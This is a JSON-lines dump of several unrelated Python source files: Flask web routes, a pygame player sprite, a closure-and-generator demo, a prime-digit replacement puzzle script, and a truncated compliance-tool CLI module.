you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"tensorflow_io.experimental.IODataset\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\n\nfrom tensorflow_io.core.python.ops import io_dataset\nfrom tensorflow_io.core.python.experimental import libsvm_dataset_ops\nfrom tensorflow_io.core.python.experimental import image_dataset_ops\n\nclass IODataset(io_dataset.IODataset):\n \"\"\"IODataset\"\"\"\n\n #=============================================================================\n # Factory Methods\n #=============================================================================\n\n @classmethod\n def from_libsvm(cls,\n filename,\n num_features,\n dtype=None,\n label_dtype=None,\n compression_type='',\n **kwargs):\n \"\"\"Creates an `IODataset` from a libsvm file.\n\n Args:\n filename: A `tf.string` tensor containing one or more filenames.\n num_features: The number of features.\n dtype(Optional): The type of the output feature tensor.\n Default to tf.float32.\n label_dtype(Optional): The type of the output label tensor.\n Default to tf.int64.\n compression_type: (Optional.) A `tf.string` scalar evaluating to one of\n `\"\"` (no compression), `\"ZLIB\"`, or `\"GZIP\"`.\n name: A name prefix for the IOTensor (optional).\n\n Returns:\n A `IODataset`.\n\n \"\"\"\n with tf.name_scope(kwargs.get(\"name\", \"IOFromLibSVM\")):\n return libsvm_dataset_ops.LibSVMIODataset(\n filename, num_features,\n dtype=dtype, label_dtype=label_dtype,\n compression_type=compression_type,\n internal=True, **kwargs)\n\n @classmethod\n def from_tiff(cls,\n filename,\n **kwargs):\n \"\"\"Creates an `IODataset` from a TIFF file.\n\n Args:\n filename: A string, the filename of a TIFF file.\n name: A name prefix for the IOTensor (optional).\n\n Returns:\n A `IODataset`.\n\n \"\"\"\n with tf.name_scope(kwargs.get(\"name\", \"IOFromTIFF\")):\n return image_dataset_ops.TIFFIODataset(\n filename, internal=True)\n","sub_path":"tensorflow_io/core/python/experimental/io_dataset_ops.py","file_name":"io_dataset_ops.py","file_ext":"py","file_size_in_byte":2841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"431493681","text":"import numpy as np\n\ndef f(i):\n alpha = float(display['alpha'])\n \n o = np.zeros(len(i))\n o[0] = o[0]\n \n for j, s in enumerate(i[1:]):\n o[j+1] = alpha * i[j+1] + (1-alpha) * o[j]\n \n return o","sub_path":"server/PyWeaver/lib/core/Signal Analysis/Filter/Exponential smoothing/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"175857264","text":"from contextlib import contextmanager\n\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, String, Integer, create_engine\n\nBase = declarative_base()\n\n\nclass SQLAlchemyStorage(object):\n def __init__(self, sqlalchemy_connection_string):\n self.engine = create_engine(sqlalchemy_connection_string)\n Base.metadata.create_all(self.engine)\n\n def wipe_database(self):\n Base.metadata.drop_all(self.engine)\n Base.metadata.create_all(self.engine)\n\n # taken from: http://docs.sqlalchemy.org/en/latest/orm/session_basics.html\n @contextmanager\n def session_scope(self):\n \"\"\"Provide a transactional scope around a series of operations.\"\"\"\n from sqlalchemy.orm import sessionmaker\n session = sessionmaker(bind=self.engine)()\n try:\n yield session\n session.commit()\n except:\n session.rollback()\n raise\n finally:\n session.close()\n\n\nclass Record(Base):\n __tablename__ = 'records'\n\n id = Column(Integer, primary_key=True, unique=True, autoincrement=True)\n message = Column(String)\n","sub_path":"src/pydemo/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"195668835","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\n tests._test_msui.test_tableview\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n This module provides pytest functions to tests msui.tableview\n\n This file is part of MSS.\n\n :copyright: Copyright 2017 Joern Ungermann\n :copyright: Copyright 2017-2023 by the MSS team, see AUTHORS.\n :license: APACHE-2.0, see LICENSE for details.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\"\"\"\n\nimport mock\nimport os\nimport pytest\nimport sys\n\nfrom PyQt5 import QtWidgets, QtCore, QtTest\nfrom mslib.msui import flighttrack as ft\nfrom mslib.msui.performance_settings import DEFAULT_PERFORMANCE\nimport mslib.msui.tableview as tv\n\n\nclass Test_TableView(object):\n def setup_method(self):\n self.application = QtWidgets.QApplication(sys.argv)\n\n # Create an initital flight track.\n initial_waypoints = [ft.Waypoint(flightlevel=0, location=\"EDMO\", comments=\"take off OP\"),\n ft.Waypoint(48.10, 10.27, 200),\n ft.Waypoint(52.32, 09.21, 200),\n ft.Waypoint(52.55, 09.99, 200),\n ft.Waypoint(flightlevel=0, location=\"Hamburg\", comments=\"landing HH\")]\n\n waypoints_model = ft.WaypointsTableModel(\"\")\n waypoints_model.insertRows(\n 0, rows=len(initial_waypoints), waypoints=initial_waypoints)\n\n self.window = tv.MSUITableViewWindow(model=waypoints_model)\n self.window.show()\n\n QtWidgets.QApplication.processEvents()\n QtTest.QTest.qWaitForWindowExposed(self.window)\n QtWidgets.QApplication.processEvents()\n\n def teardown_method(self):\n self.window.hide()\n QtWidgets.QApplication.processEvents()\n self.application.quit()\n QtWidgets.QApplication.processEvents()\n\n def test_open_hex(self):\n \"\"\"\n Tests opening the hexagon dock widget.\n \"\"\"\n self.window.cbTools.currentIndexChanged.emit(1)\n QtWidgets.QApplication.processEvents()\n assert len(self.window.docks) == 2\n assert self.window.docks[0] is not None\n assert self.window.docks[1] is None\n\n def test_open_perf_settings(self):\n \"\"\"\n Tests opening the performance settings dock widget.\n \"\"\"\n self.window.cbTools.currentIndexChanged.emit(2)\n QtWidgets.QApplication.processEvents()\n assert len(self.window.docks) == 2\n assert self.window.docks[0] is None\n assert self.window.docks[1] is not None\n\n @mock.patch(\"PyQt5.QtWidgets.QMessageBox.question\",\n return_value=QtWidgets.QMessageBox.Yes)\n def test_insertremove_hexagon(self, mockbox):\n \"\"\"\n Test inserting and removing hexagons in TableView using the Hexagon dockwidget\n \"\"\"\n self.window.cbTools.currentIndexChanged.emit(1)\n QtWidgets.QApplication.processEvents()\n assert len(self.window.waypoints_model.waypoints) == 5\n QtTest.QTest.mouseClick(self.window.docks[0].widget().pbAddHexagon, QtCore.Qt.LeftButton)\n QtWidgets.QApplication.processEvents()\n assert len(self.window.waypoints_model.waypoints) == 12\n assert mockbox.call_count == 0\n QtTest.QTest.mouseClick(self.window.docks[0].widget().pbRemoveHexagon, QtCore.Qt.LeftButton)\n QtWidgets.QApplication.processEvents()\n assert mockbox.call_count == 1\n assert len(self.window.waypoints_model.waypoints) == 5\n\n @mock.patch(\"PyQt5.QtWidgets.QMessageBox.critical\")\n @mock.patch(\"mslib.msui.performance_settings.get_open_filename\",\n return_value=os.path.join(\n os.path.dirname(__file__), \"..\", \"data\", \"performance_simple.json\"))\n def test_performance(self, mockopen, mockcrit):\n \"\"\"\n Check effect of performance settings on TableView\n \"\"\"\n self.window.cbTools.currentIndexChanged.emit(2)\n QtWidgets.QApplication.processEvents()\n\n self.window.waypoints_model.performance_settings = DEFAULT_PERFORMANCE\n self.window.waypoints_model.update_distances(0)\n self.window.waypoints_model.dataChanged.emit(\n self.window.waypoints_model.index(0, 0), self.window.waypoints_model.index(0, 0))\n self.window.resizeColumns()\n assert self.window.waypoints_model.columnCount() == 15\n visible = dict(DEFAULT_PERFORMANCE)\n visible[\"visible\"] = True\n self.window.waypoints_model.performance_settings = visible\n self.window.waypoints_model.update_distances(0)\n self.window.waypoints_model.dataChanged.emit(\n self.window.waypoints_model.index(0, 0), self.window.waypoints_model.index(0, 0))\n self.window.resizeColumns()\n assert self.window.waypoints_model.columnCount() == 15\n # todo this does not check that actually something happens\n QtTest.QTest.mouseClick(self.window.docks[1].widget().pbLoadPerformance, QtCore.Qt.LeftButton)\n QtWidgets.QApplication.processEvents()\n assert mockopen.call_count == 1\n assert mockcrit.call_count == 0\n\n def test_insert_point(self):\n \"\"\"\n Check insertion of points\n \"\"\"\n item = self.window.tableWayPoints.visualRect(\n self.window.waypoints_model.index(2, 0))\n QtTest.QTest.mouseClick(\n self.window.tableWayPoints.viewport(),\n QtCore.Qt.LeftButton, QtCore.Qt.NoModifier, item.center())\n assert len(self.window.waypoints_model.waypoints) == 5\n wps = list(self.window.waypoints_model.waypoints)\n QtTest.QTest.mouseClick(self.window.btAddWayPointToFlightTrack, QtCore.Qt.LeftButton)\n QtWidgets.QApplication.processEvents()\n wps2 = self.window.waypoints_model.waypoints\n assert len(self.window.waypoints_model.waypoints) == 6\n assert all(_x == _y for _x, _y in zip(wps[:3], wps2[:3])), (wps, wps2)\n assert all(_x == _y for _x, _y in zip(wps[3:], wps2[4:])), (wps, wps2)\n\n def test_clone_point(self):\n \"\"\"\n Check cloning of points\n \"\"\"\n item = self.window.tableWayPoints.visualRect(\n self.window.waypoints_model.index(2, 0))\n QtTest.QTest.mouseClick(\n self.window.tableWayPoints.viewport(),\n QtCore.Qt.LeftButton, QtCore.Qt.NoModifier, item.center())\n assert len(self.window.waypoints_model.waypoints) == 5\n wps = list(self.window.waypoints_model.waypoints)\n QtTest.QTest.mouseClick(self.window.btCloneWaypoint, QtCore.Qt.LeftButton)\n QtWidgets.QApplication.processEvents()\n wps2 = self.window.waypoints_model.waypoints\n assert len(self.window.waypoints_model.waypoints) == 6\n assert all(_x == _y for _x, _y in zip(wps[:3], wps2[:3])), (wps, wps2)\n assert all(_x == _y for _x, _y in zip(wps[3:], wps2[4:])), (wps, wps2)\n\n @mock.patch(\"PyQt5.QtWidgets.QMessageBox.question\",\n return_value=QtWidgets.QMessageBox.Yes)\n def test_remove_point(self, mockbox):\n \"\"\"\n Check insertion of points\n \"\"\"\n item = self.window.tableWayPoints.visualRect(\n self.window.waypoints_model.index(1, 0))\n QtTest.QTest.mouseClick(\n self.window.tableWayPoints.viewport(),\n QtCore.Qt.LeftButton, QtCore.Qt.NoModifier, item.center())\n assert len(self.window.waypoints_model.waypoints) == 5\n wps = list(self.window.waypoints_model.waypoints)\n QtTest.QTest.mouseClick(self.window.btDeleteWayPoint, QtCore.Qt.LeftButton)\n QtWidgets.QApplication.processEvents()\n wps2 = self.window.waypoints_model.waypoints\n assert mockbox.call_count == 1\n assert len(self.window.waypoints_model.waypoints) == 4\n assert all([_x == _y for _x, _y in zip(wps[:1], wps2[:1])])\n assert all([_x == _y for _x, _y in zip(wps[2:], wps2[1:])])\n\n def test_reverse_points(self):\n \"\"\"\n Check insertion of points\n \"\"\"\n wps = list(self.window.waypoints_model.waypoints)\n QtTest.QTest.mouseClick(self.window.btInvertDirection, QtCore.Qt.LeftButton)\n QtWidgets.QApplication.processEvents()\n wps2 = self.window.waypoints_model.waypoints\n assert all([_x == _y for _x, _y in zip(wps[::-1], wps2)])\n\n def test_drag_point(self):\n \"\"\"\n Check insertion of points\n \"\"\"\n\n pytest.skip(\"drag/drop testing does not seem to work o qt5.\")\n\n assert len(self.window.waypoints_model.waypoints) == 5\n wps_before = list(self.window.waypoints_model.waypoints)\n item1 = self.window.tableWayPoints.visualRect(\n self.window.waypoints_model.index(2, 0))\n item2 = self.window.tableWayPoints.visualRect(\n self.window.waypoints_model.index(3, 0))\n QtTest.QTest.mousePress(\n self.window.tableWayPoints.viewport(),\n QtCore.Qt.LeftButton, QtCore.Qt.NoModifier, item1.center())\n QtWidgets.QApplication.processEvents()\n QtTest.QTest.mouseMove(\n self.window.tableWayPoints.viewport(),\n item2.center())\n QtWidgets.QApplication.processEvents()\n QtTest.QTest.mouseRelease(\n self.window.tableWayPoints.viewport(),\n QtCore.Qt.LeftButton, QtCore.Qt.NoModifier, item2.center())\n QtWidgets.QApplication.processEvents()\n assert len(self.window.waypoints_model.waypoints) == 5\n wps_after = list(self.window.waypoints_model.waypoints)\n assert wps_before != wps_after, (wps_before, wps_after)\n\n @mock.patch(\"PyQt5.QtWidgets.QMessageBox\")\n def test_roundtrip(self, mockbox):\n \"\"\"\n Test connecting the last and first point\n Test connecting the first point to itself\n \"\"\"\n count = len(self.window.waypoints_model.waypoints)\n\n # Test if the last waypoint connects to the first\n self.window.update_roundtrip_enabled()\n assert self.window.is_roundtrip_possible()\n self.window.make_roundtrip()\n assert len(self.window.waypoints_model.waypoints) == count + 1\n first = self.window.waypoints_model.waypoints[0]\n dupe = self.window.waypoints_model.waypoints[-1]\n assert first.lat == dupe.lat and first.lon == dupe.lon\n\n # Check if roundtrip is disabled if the last and first point are equal\n self.window.update_roundtrip_enabled()\n assert not self.window.is_roundtrip_possible()\n assert not self.window.btRoundtrip.isEnabled()\n self.window.make_roundtrip()\n assert len(self.window.waypoints_model.waypoints) == count + 1\n\n # Remove connection\n self.window.waypoints_model.removeRows(count, 1)\n assert len(self.window.waypoints_model.waypoints) == count\n assert mockbox.critical.call_count == 0\n","sub_path":"tests/_test_msui/test_tableview.py","file_name":"test_tableview.py","file_ext":"py","file_size_in_byte":11269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"160203276","text":"import sys, os, errno\nimport socket as sk\nimport struct\nfrom inspect import currentframe, getframeinfo\nimport binascii\nimport codecs\nimport time\n\n#Return values\nOK = 0\nERROR = 1\nIN_USE = 2\nNO_SUCH_PLAYER = 3\n\n#Primitives part\nREGISTER = 0\nCONN_INIT = 1\nDATA = 2\nCONN_CLOSE = 3\nRESULT = 4\n\ndef primToStr(prim):\n if prim == REGISTER:\n return \"REGISTER\"\n elif prim == CONN_INIT:\n return \"CONN_INIT\"\n elif prim == DATA:\n return \"DATA\"\n elif prim == CONN_CLOSE:\n return \"CONN_CLOSE\"\n elif prim == RESULT:\n return \"RESULT\"\n else:\n return \"UNKNOWN\"\n\ndef errToStr(err):\n if err == OK:\n return \"OK\"\n elif err == ERROR:\n return \"ERROR\"\n elif err == IN_USE:\n return \"IN_USE\"\n elif err == NO_SUCH_PLAYER:\n return \"NO_SUCH_PLAYER\"\n else:\n return \"UNKNOWN\"\n\ndef checkValue(text, result, expected, exception, toStr):\n if result != expected:\n raise exception(text + \"Expected: \" + toStr(expected) + \", but received: \" + toStr(result))\n return\n\nclass AppException(Exception):\n pass\n\nclass RegisterException(Exception):\n pass\n\nclass ConnInitException(Exception):\n pass\n\nclass DataException(Exception):\n pass\n\nclass ConnCloseException(Exception):\n pass\n\nclass App(object):\n\n def __init__(self, sock, name):\n self.sock = sock\n self.name = name\n self.remoteName = None\n\n def registerClient(self):\n try:\n self.__sendRegister()\n self.__receiveResultCode(RESULT, 2, REGISTER, OK, RegisterException)\n except RegisterException as err:\n print(\"Registration failed: \" + err.args[0])\n self.sock.close()\n return False\n except OSError as err:\n errno, strerror = err.args\n print(\"I/O error({0}): {1}\\n\".format(errno, strerror))\n self.sock.close()\n return False\n return True\n\n def __sendRegister(self):\n msg = b\"\"\n msg += bytes([REGISTER, len(self.name)])\n msg += codecs.encode(self.name, \"utf-8\") \n self.sock.send(msg)\n\n def __sendConnInit(self, remoteName):\n msg = b\"\"\n msg += bytes([CONN_INIT, len(remoteName)])\n msg += codecs.encode(remoteName, \"utf-8\") \n self.sock.send(msg)\n\n def __sendData(self, data):\n msg = b\"\"\n msg += bytes([DATA, len(data)])\n msg += codecs.encode(data, \"utf-8\") \n self.sock.send(msg)\n\n def __sendConnClose(self):\n msg = b\"\"\n msg += bytes([CONN_CLOSE, 0])\n self.sock.send(msg)\n\n def __receiveResultCode(self, exPrim, exLenght, exResPrim, exErrCode, exception):\n prim = self.sock.recv(1)[0]\n checkValue(\"Incorrect receive primitive:\", prim, exPrim, exception, primToStr) \n\n length = self.sock.recv(1)[0]\n checkValue(\"Incorrect length\", length, exLenght, exception, str) \n\n resPrim = self.sock.recv(1)[0]\n checkValue(\"Incorrect result primitive: \", resPrim, exResPrim, exception, primToStr) \n\n errCode = self.sock.recv(1)[0]\n print(errCode)\n checkValue(\"Incorrect error code: \", errCode, exErrCode, exception, errToStr) \n\n print(\"[OK] Received responce for \" + primToStr(resPrim) + \" error code: \" + errToStr(errCode))\n\n def connInit(self, remoteName):\n self.remoteName = remoteName\n try:\n self.__sendConnInit(remoteName)\n self.__receiveResultCode(RESULT, 2, CONN_INIT, OK, ConnInitException)\n except ConnInitException as err:\n print(\"ConnInit failed: \" + err.args[0])\n return False\n except OSError as err:\n errno, strerror = err.args\n print(\"I/O error({0}): {1}\\n\".format(errno, strerror))\n return False\n return True\n \n def sendData(self, data):\n try: \n self.__sendData(data)\n self.__receiveResultCode(RESULT, 2, DATA, OK, DataException)\n except DataException as err:\n print(\"Data failed: \" + err.args[0])\n return False\n except OSError as err:\n errno, strerror = err.args\n print(\"I/O error({0}): {1}\\n\".format(errno, strerror))\n return False\n return True\n\n def connClose(self):\n try: \n self.__connClose()\n self.__receiveResultCode(RESULT, 2, CONN_CLOSE, OK, ConnCloseException)\n except ConnCloseException as err:\n print(\"ConnClose failed: \" + err.args[0])\n return False\n except OSError as err:\n errno, strerror = err.args\n print(\"I/O error({0}): {1}\\n\".format(errno, strerror))\n return False\n return True\n \n def game(self):\n try:\n self.remoteName = self.__receiveConInit()\n print(\"Received CONN_INIT form \" + self.remoteName)\n while True:\n if not self.__handleMessage():\n break\n\n except ConnCloseException as err:\n print(\"Loop failed: \" + err.args[0])\n return False\n except OSError as err:\n errno, strerror = err.args\n print(\"I/O error({0}): {1}\\n\".format(errno, strerror))\n return False\n return True\n \n def __receiveConInit(self):\n prim = self.sock.recv(1)[0]\n checkValue(\"Incorrect primitive\", prim, CONN_INIT, ConnInitException, primToStr)\n\n length = self.sock.recv(1)[0]\n remoteName = self.sock.recv(length).decode(\"utf-8\")\n return remoteName\n\n def __handleMessage(self):\n prim = self.sock.recv(1)[0]\n length = self.sock.recv(1)[0]\n if prim == DATA:\n data = self.sock.recv(length).decode(\"utf-8\")\n print(\"Received data: \" + data)\n elif prim == CONN_CLOSE:\n print(\"Game is ended\")\n return False\n return True\n\ndef main(servAddr, servPort):\n sock = estabilishConnection(servAddr, servPort)\n if sock == None:\n print(\"Connection cann't be estabilish\\n\")\n return 1\n\n name = input(\"Please enter you login: \")\n\n app = App(sock, name)\n if not app.registerClient():\n return 1\n\n if not app.game():\n return 1\n\n return 0\n \n\ndef estabilishConnection(addr, port):\n sock = None\n try:\n sock = sk.socket(sk.AF_INET, sk.SOCK_STREAM, 0)\n sock.connect((addr, port)) \n except IOError as err:\n errno, strerror = err.args\n sys.stderr.write(\"I/O error({0}): {1}\\n\".format(errno, strerror))\n if sock != None:\n sock.close()\n return None\n\n return sock \n\nif __name__ == \"__main__\":\n if len(sys.argv) < 3:\n sys.stderr.write(\"Please specify server's address and port\\n\")\n sys.exit(1)\n servAddr = sys.argv[1]\n servPort = sys.argv[2]\n sys.exit(main(servAddr, int(servPort)))\n","sub_path":"server/test/clientReceiver.py","file_name":"clientReceiver.py","file_ext":"py","file_size_in_byte":6950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"115085384","text":"from django.utils import timezone\n\nfrom .settings import *\n\nnow = timezone.localtime()\n\nLOGGER_NAME = 'deflix_logger'\nLOG_PATH = os.path.join(BASE_DIR, 'log')\n\n# Logging\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'verbose': {\n 'format': '{levelname} {asctime} {module} {user}: {message}',\n 'style': '{',\n },\n 'simple': {\n 'format': '{levelname} {message}',\n 'style': '{',\n },\n },\n 'handlers': {\n 'console': {\n 'level': 'INFO',\n 'class': 'logging.StreamHandler',\n 'formatter': 'simple'\n },\n 'fileInfo': {\n 'level': 'INFO',\n 'class': 'logging.FileHandler',\n 'filename': f'{LOG_PATH}/{now.year}{now.month}{now.day}_info.log',\n 'formatter': 'verbose'\n },\n 'fileWarn': {\n 'level': 'WARNING',\n 'class': 'logging.FileHandler',\n 'filename': f'{LOG_PATH}/{now.year}{now.month}{now.day}_warning.log',\n 'formatter': 'verbose'\n }\n\n },\n 'loggers': {\n 'django': {\n 'handlers': ['console'],\n 'level': 'INFO',\n 'propagate': True,\n },\n 'django.request': {\n 'handlers': ['fileInfo'],\n 'level': 'INFO',\n 'propagate': True,\n },\n 'django.server': {\n 'handlers': ['fileWarn'],\n 'level': 'WARNING',\n 'propagate': True,\n },\n }\n}\n","sub_path":"deflix/deflix/deflix/settings_local.py","file_name":"settings_local.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} diff --git a/290.jsonl b/290.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..ebccc8ee08c86df64b9fe09c8d0b1485e94f167d --- /dev/null +++ b/290.jsonl @@ -0,0 +1,778 @@ +{"seq_id":"645271213","text":"from flask import render_template, flash, redirect, url_for\nfrom fridgetime import app\nfrom fridgetime.forms import RegistrationForm, LoginForm\nfrom fridgetime.models import User, Recipe, Ingredient\n\n\ntestdata = [\n {\n 'user': 'Grant Donoghue',\n 'recipename': 'Omelette',\n 'ingredients': '3 Eggs'\n }\n]\n\n\n@app.route(\"/\")\n@app.route(\"/index\")\ndef index():\n return render_template('index.html', testdata=testdata)\n\n\n@app.route(\"/about\")\ndef about():\n return render_template('about.html', title='About')\n\n\n@app.route(\"/register\", methods=[\"GET\", \"POST\"])\ndef register():\n form = RegistrationForm() # passed from forms.py\n if form.validate_on_submit():\n flash(f'Account created for {form.username.data}!', 'success')\n return redirect(url_for('index'))\n return render_template('register.html', title='Register', form=form) # passed from form variable\n\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n form = LoginForm()\n if form.validate_on_submit():\n flash(f'You have been logged in!', 'success')\n return redirect(url_for('index'))\n else:\n flash(f'Login unsuccessful. Please check username and password.', 'danger')\n return render_template('login.html', title='Login', form=form)\n","sub_path":"fridgetime/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"427696357","text":"import pygame\nfrom audio import SoundEffects\nfrom graphics import AnimatedSprite\n\n\nclass Player(AnimatedSprite):\n\n def __init__(self, x, y, spritesheet):\n AnimatedSprite.__init__(self, spritesheet)\n self._vertical_speed = 0\n self._horizontal_speed = 0\n self._collidable_stuff = []\n\n self._sounds = SoundEffects()\n\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n\n def set_collidabel_stuff(self, collidable_stuff):\n self._collidable_stuff = collidable_stuff\n\n def update_horizontal_velocity(self, x):\n if self._horizontal_speed + x < 10\\\n or self._horizontal_speed + x > -10:\n self._horizontal_speed += x\n self.should_flip_horizontally = (self._horizontal_speed > 0)\n\n def update(self, t):\n AnimatedSprite.update(self, t)\n self.rect.y += self._vertical_speed\n if self._vertical_speed < 10:\n self._vertical_speed += 1\n collision_list = pygame.sprite.spritecollide(self, self._collidable_stuff, False)\n for collision in collision_list:\n if self._vertical_speed > 0:\n self.rect.bottom = collision.rect.top\n self._vertical_speed = 0\n else:\n self.rect.top = collision.rect.bottom\n self._vertical_speed = 0\n\n self.rect.x += self._horizontal_speed\n collision_list = pygame.sprite.spritecollide(self, self._collidable_stuff, False)\n for collision in collision_list:\n if self._horizontal_speed > 0:\n self.rect.right = collision.rect.left\n self._horizontal_speed = 0\n else:\n self.rect.left = collision.rect.right\n self._horizontal_speed = 0\n\n def jump(self):\n self.rect.y += 2\n platform_hit_list = pygame.sprite.spritecollide(self, self._collidable_stuff, False)\n self.rect.y -= 2\n if len(platform_hit_list) > 0:\n self._vertical_speed = -20\n self._sounds.jump()\n\n","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"116957517","text":"def make_handler_closure():\n # локальная переменная\n sequence = 0\n\n def handler(result):\n # нелокальная переменная (не затеняет переменную из функции\n # make_handler), а следовательно остается между вызовами handler()\n nonlocal sequence\n sequence += 1\n print(str.format('[~] Got {} result: {}', sequence, result))\n\n return handler\n\n\ndef make_handler_generator():\n sequence = 0\n\n while True:\n # получаем результат с внешнего кода и связываем с переменной result\n result = yield\n sequence += 1\n print(str.format('[~] Got {} result: {}', sequence, result))\n\n\ndef main():\n print('-' * 80)\n # получаем объект функцию\n handler_closure = make_handler_closure()\n\n for r in range(1, 10):\n handler_closure(r)\n\n print('-' * 80)\n # создаем объект генератор\n handler_generator = make_handler_generator()\n\n # двигаемся в теле функции генератора до первой инструкции yield\n next(handler_generator)\n\n # итерируем объект генератор\n for r in range(1, 10):\n handler_generator.send(r)\n\n print('-' * 80)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"core/builtin_types/callable_types/functions/closure2.py","file_name":"closure2.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"345607409","text":"def is_prime(x):\n if x==1:\n return False\n if x==3 or x==2:\n return True \n if not x % 2:\n return False\n if (not x%6==1) and (not x%6==5):\n return False\n ub = int(x**.5)\n f = 5\n while f <= ub:\n if not x % f:\n return False\n elif not x % (f+2):\n return False\n f += 6\n return True\n\nprimes = []\nfor i in range(100000, 200000): ## list of primes\n if is_prime(i):\n primes.append(i) \n\ndef rep_count(prime, key):\n count = 0\n for i in range(0, 10):\n rep = int(str(prime).replace(key, str(i)))\n if is_prime(rep) and len(str(rep))==len(str(prime)):\n count = count + 1\n return count\n\nfrom collections import Counter\ni = 0\nflag = True\nwhile flag and i < len(primes):\n prime = primes[i]\n cc = Counter([x for x in str(prime)])\n values = [x>1 for x in cc.values()]\n keys = [key for key, value in zip(cc.keys(), values) if value and key<='2']\n for key in keys:\n if(rep_count(prime, key)==8):\n flag=False\n i = i+1\n\n\n\n","sub_path":"python/Q51.py","file_name":"Q51.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"537422930","text":"# -*- mode:python; coding:utf-8 -*-\n\n# Copyright (c) 2020 IBM Corp. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Trestle Assemble Command.\"\"\"\n\nimport argparse\nimport logging\nfrom pathlib import Path\nfrom typing import Type, TypeVar\n\nfrom ilcli import Command # type: ignore\n\nfrom trestle.core import const\nfrom trestle.core.models.actions import CreatePathAction, WriteFileAction\nfrom trestle.core.models.elements import Element\nfrom trestle.core.models.file_content_type import FileContentType\nfrom trestle.core.models.plans import Plan\nfrom trestle.oscal import assessment_plan\nfrom trestle.oscal import assessment_results\nfrom trestle.oscal import catalog\nfrom trestle.oscal import component\nfrom trestle.oscal import poam\nfrom trestle.oscal import profile\nfrom trestle.oscal import ssp\nfrom trestle.oscal import target\nfrom trestle.utils import fs\nfrom trestle.utils import log\nfrom trestle.utils.load_distributed import load_distributed\n\nlogger = logging.getLogger(__name__)\n\nTLO = TypeVar(\n 'TLO',\n assessment_plan.AssessmentPlan,\n assessment_results.AssessmentResults,\n catalog.Catalog,\n component.ComponentDefinition,\n poam.PlanOfActionAndMilestones,\n profile.Profile,\n ssp.SystemSecurityPlan,\n target.TargetDefinition\n)\n\n\nclass CatalogCmd(Command):\n \"\"\"Assemble a catalog.\"\"\"\n\n name = 'catalog'\n\n def _run(self, args: argparse.Namespace) -> int:\n \"\"\"Assemble a catalog.\"\"\"\n logger.info(f'Assembling catalog titled: {args.name}')\n return AssembleCmd.assemble_model(self.name, catalog.Catalog, args)\n\n\nclass ProfileCmd(Command):\n \"\"\"Assemble a profile.\"\"\"\n\n name = 'profile'\n\n def _run(self, args: argparse.Namespace) -> int:\n logger.info(f'Assembling profile titled: {args.name}')\n return AssembleCmd.assemble_model(self.name, profile.Profile, args)\n\n\nclass TargetDefinitionCmd(Command):\n \"\"\"Assemble a target definition.\"\"\"\n\n name = 'target-definition'\n\n def _run(self, args: argparse.Namespace) -> int:\n return AssembleCmd.assemble_model(self.name, target.TargetDefinition, args)\n\n\nclass ComponentDefinitionCmd(Command):\n \"\"\"Assemble a component definition.\"\"\"\n\n name = 'component-definition'\n\n def _run(self, args: argparse.Namespace) -> int:\n return AssembleCmd.assemble_model(self.name, component.ComponentDefinition, args)\n\n\nclass SystemSecurityPlanCmd(Command):\n \"\"\"Assemble a system security plan.\"\"\"\n\n name = 'system-security-plan'\n\n def _run(self, args: argparse.Namespace) -> int:\n return AssembleCmd.assemble_model(self.name, ssp.SystemSecurityPlan, args)\n\n\nclass AssessmentPlanCmd(Command):\n \"\"\"Assemble a assessment plan.\"\"\"\n\n name = 'assessment-plan'\n\n def _run(self, 